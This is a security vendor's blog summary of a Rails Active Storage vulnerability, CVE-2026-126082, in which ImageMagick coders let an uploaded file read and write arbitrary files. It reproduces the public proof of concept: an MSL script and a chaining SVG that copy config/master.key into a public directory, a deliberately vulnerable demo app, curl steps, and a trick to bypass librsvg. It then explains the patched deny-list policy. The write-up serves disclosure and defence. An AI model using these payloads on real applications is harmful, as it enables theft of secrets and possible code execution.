Automated Threat Modeling

Brief Summary: Rails Active Storage CVE-2026-126082, Arbitrary File Read and Write via ImageMagick Coders

A summary of CVE-2026-126082, a critical Rails Active Storage flaw that lets unauthenticated attackers reach dangerous ImageMagick coders at attachment analysis time. Includes the public PoC and the shipped policy patch.

CVE Analysis

9 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-11

Brief Summary: Rails Active Storage CVE-2026-126082, Arbitrary File Read and Write via ImageMagick Coders

Introduction

One uploaded file, with no login and no clicks, was enough to make a Rails application write a rendered copy of its own config/master.key into a world readable public directory. CVE-2026-126082 is a critical (CVSS 9.8) flaw in Active Storage. The ImageMagick image analyzer runs automatically the moment a file is attached, and until the fix it placed no restrictions on which ImageMagick coders that untrusted file could reach.

Active Storage is the Rails component that handles uploading files to cloud or local storage and attaching them to Active Record models. It ships in the default Rails stack, so any application that accepts user uploads and runs image processing through ImageMagick is a candidate for this issue.

Technical Information

The vulnerability is classified as CWE-1188, initialization of a resource with an insecure default. The insecure default here is that Active Storage constrained none of ImageMagick's coders while invoking ImageMagick during attachment analysis.

ImageMagick decides which coder (file format handler) to use by inspecting the content of the file it is given, not the declared content type. Several coders do not simply decode image pixels. They act on files named inside the image. The relevant ones in the reported chain are:

  • The MSL (Magick Scripting Language) coder, which reads and writes the files its script names.
  • The TEXT coder, which renders a non-image file (for example config/master.key) as a PNG, turning an arbitrary file into a loadable image.

The trigger is that MiniMagick::Image#valid? and #width shell out to ImageMagick's identify, and the Active Storage ImageMagick analyzer runs at attach time. There is no need for a variant, preview, or explicit analyze call. Attaching a crafted upload is enough to reach the vulnerable path.

An application is affected when all of the following hold:

  • It uses config.active_storage.variant_processor = :mini_magick.
  • It allows uploads from untrusted users.
  • The host ImageMagick runs under a policy that does not already deny the involved coders.

The impact splits by storage configuration. Arbitrary file writing on the server is the general stated impact. Arbitrary file reading is specifically described when attachments are stored with the Disk service, where the readable scope is any file accessible to the application process. The advisory names secret_key_base and external system credentials as examples, and warns that their exposure may enable escalation to remote code execution or lateral movement into connected systems.

Attack flow

  1. The attacker uploads a first crafted file, an MSL script, which lands on disk via the Disk service. The application response reveals the blob key and stored path.
  2. The attacker uploads a second file, an SVG, whose <image xlink:href> points a msl: coder prefix at the stored path of the first upload.
  3. On a libxml backed ImageMagick build, the SVG reaches the MSL coder during attachment analysis. The MSL <read> uses the text: coder to render a secret file, and MSL <write> writes the rendered output to an attacker chosen path such as public/.
  4. The attacker fetches the written file over HTTP.

Proof of Concept

A complete, reproducible public PoC exists, published November 7, 2026 by Greg Molnar. It targets a vulnerable app running Rails 8.0.5.1, mini_magick 5.0.1 on Ubuntu 22.04 with ImageMagick 6.9.11-60 using the libxml SVG renderer.

The first payload is an MSL script, uploaded so it lands on disk:

<image> <read filename="text:/app/config/master.key"/> <write filename="/app/public/MASTER_KEY.png"/> </image>

The second payload is the SVG that triggers the chain, pointing msl: at the stored path of the first upload (derived from the blob key via folder_for, <root>/<key[0..1]>/<key[2..3]>/<key>):

<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="64" height="64"> <image xlink:href="msl:/app/storage/b8/u0/b8u0j6uve2t828hqk6e1d8ep03ah" width="64" height="64"/> </svg>

The minimal vulnerable single file Rails app used to demonstrate it:

gemfile(true) do source "https://rubygems.org" gem "rails", "8.0.5.1" gem "mini_magick", "5.0.1" gem "sqlite3", "~> 2.0" gem "puma" end # ... config.active_storage.service = :local config.active_storage.variant_processor = :mini_magick # ... class UploadsController < ActionController::Base skip_forgery_protection def create document = Document.create! document.file.attach(params[:file]) blob = document.file.blob render json: { key: blob.key, filename: blob.filename.to_s, content_type: blob.content_type, analyzed: blob.analyzed?, metadata: blob.metadata, stored_at: ActiveStorage::Blob.service.path_for(blob.key) } end end

Run with rackup app.ru -p 9292 and seed a key with rails secret > config/master.key. The exploitation steps with curl:

# 1) Upload the MSL script; response returns the blob key/stored path curl -s -F '[email protected]' http://127.0.0.1:9292/upload # -> {"key":"b8u0j6uve2t828hqk6e1d8ep03ah", ... "stored_at":"/app/storage/b8/u0/b8u0..."} # 2) Upload the SVG pointing msl: at the stored path curl -s -F '[email protected]' http://127.0.0.1:9292/upload # 3) The analyzer runs ImageMagick at attach time and writes the file: # public/MASTER_KEY.png now contains the rendered master.key curl -s -o master-key.png http://127.0.0.1:9292/MASTER_KEY.png

The author confirmed public/MASTER_KEY.png was created as a 612x792 grayscale PNG of the secret's contents, written during the identify -format %w call behind MiniMagick::Image#width. The only application log trace is a benign "Skipping image analysis due to an ImageMagick error" line, because identify errors out after the write already occurred.

A read only variant works even on S3, since Blob#open downloads to a local tempfile. It uses a single SVG with text: directly, for example <image xlink:href="text:/rails/config/master.key" .../>, and convert read_only.svg READ_ONLY.png renders the secret. Note that /proc/self/environ is truncated at the first NUL by text:.

Preconditions confirmed in the PoC: exploitation requires variant_processor = :mini_magick, untrusted uploads, and an ImageMagick build whose SVG coder is its own libxml renderer and that lacks the StrictReadImage/ExplicitCoderNotAllowed hardening. Ubuntu 22.04 (6.9.11-60) is exploitable. Ubuntu 24.04 (6.9.12-98) and ImageMagick 7.1.2+ block the nested explicit coder read. On librsvg backed builds the attacker can force the internal renderer by naming the upload .msvg and prefixing it with a newline so the <?xml magic does not fire.

A separate public repo, charlie-goldenowl/cve-2026-122006-check, provides a non exploitative detection script that flags vulnerable apps. It is a detector, not a working exploit.

Patch Information

Rails fixed this in activestorage 8.1.4.1 and 8.0.5.2. The 8.1 fix is commit 468aa9a and the 8.0 backport is ea8c401. Both are titled "Ship an ImageMagick security policy for every MiniMagick process," and advisory GHSA-f3w6-w445-fwh9 lists both as the patches to apply.

The fix does not inspect or clean uploaded files. Instead it limits what ImageMagick can do with them by shipping a deny list policy and making sure every ImageMagick process MiniMagick starts loads it.

1. A bundled policy.xml at activestorage/lib/active_storage/image_magick/policy.xml. It only uses the coder, delegate, and path policy domains, so it works on both ImageMagick 6 and 7. An excerpt:

<!-- Scripting coder that reads and writes files named inside the image. --> <policy domain="coder" rights="none" pattern="MSL"/> ... <policy domain="delegate" rights="none" pattern="gs"/> <policy domain="coder" rights="none" pattern="PS"/> ... <!-- Indirect reads such as text:@/etc/passwd, which substitute a file for an argument. --> <policy domain="path" rights="none" pattern="@*"/>

The denied coders fall into these groups: scripting (MSL); reading or deleting files other than the image (EPHEMERAL, TEXT); pixel cache loaded from a path in the image header (MPC); display to a screen (SHOW, WIN, PLT); outside references (URL, HTTP, HTTPS, FTP, FILE); and Ghostscript and similar interpreters (PS, PS2, PS3, EPS, EPS2, EPS3, EPI, EPSF, EPSI, EPT, EPT2, EPT3, PDF, AI, EPDF, PDFA, POCKETMOD, XPS, PCL).

Two details matter. A coder rule matches only one token, and several tokens point to the same reader, so the file denies every alias one by one. The gs delegate rule only covers builds that run Ghostscript as an external command, while the coder rules cover builds that link Ghostscript in process. The file also warns maintainers never to use a backtick, since ImageMagick's tokenizer treats it as an opening quote and silently drops every rule up to the next apostrophe. The write up notes that denying MSL alone is insufficient, because the TEXT coder is what converts the secret file into a loadable image.

2. Loading the policy through MAGICK_CONFIGURE_PATH via the new file activestorage/lib/active_storage/image_magick.rb. Rather than replacing the host system policy, Rails puts its own directory at the front of the search path through MiniMagick.cli_env:

def self.apply_policy # :nodoc: operator_paths = operator_paths(MiniMagick.cli_env["MAGICK_CONFIGURE_PATH"]).presence || operator_paths(ENV["MAGICK_CONFIGURE_PATH"]) MiniMagick.cli_env = MiniMagick.cli_env.merge("MAGICK_CONFIGURE_PATH" => configure_path(operator_paths)).freeze end def self.configure_path(operator_path) [ POLICY_DIRECTORY, *operator_paths(operator_path) ].join(File::PATH_SEPARATOR) end

Any path the operator already set stays on the list, after the Rails directory. operator_paths strips duplicates of POLICY_DIRECTORY. The policy is applied once when the file loads and again in the engine's after_initialize hook, so if an initializer or dotenv replaced MiniMagick.cli_env during boot, the policy is restored.

3. Refusing to run without a mini_magick that can apply the policy. Setting MiniMagick.cli_env= requires mini_magick 5.1 or later:

ActiveStorage::MINIMAGICK_UNSECURABLE = ActiveStorage::MINIMAGICK_AVAILABLE && !MiniMagick.respond_to?(:cli_env=) # :nodoc:

ActiveStorage.require_securable_mini_magick! raises an error telling you to add gem "mini_magick", "~> 5.1" or switch to :vips. It is called in ImageAnalyzer::ImageMagick#read_image before an uploaded file is passed to ImageMagick, which closes the attach time path, and also at boot for applications whose variant processor is :mini_magick. In 8.1 the check runs when transformers/image_magick.rb loads. In 8.0 engine.rb calls the check when variant_processor == :mini_magick.

Trade offs. The policy applies to every ImageMagick command MiniMagick runs, not just Active Storage's. Because it blocks Ghostscript, apps that render PostScript or PDF through ImageMagick must re-allow gs and the coders they use in their own policy, and allow rules in the host policy override the Rails deny rules. The protection only covers ImageMagick processes started through MiniMagick's default shell. Apps that replace cli_env after boot, use cli_prefix to clear the environment, install a custom MiniMagick::Shell, or use GraphicsMagick do not get it. The policy deliberately sets no resource limits, and the deny list is expected to grow over time.

Affected Systems and Versions

  • Rails 8.1 before 8.1.4.1.
  • Rails versions before 8.0.5.2.

An application is affected when it uses ImageMagick for Active Storage image processing through config.active_storage.variant_processor = :mini_magick, runs ImageMagick under a security policy that does not already deny the involved coders, and allows uploads from untrusted users. Arbitrary read is specifically described when attachments are stored with the Disk service. Fixed in 8.1.4.1 and 8.0.5.2, which require mini_magick 5.1 or later.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization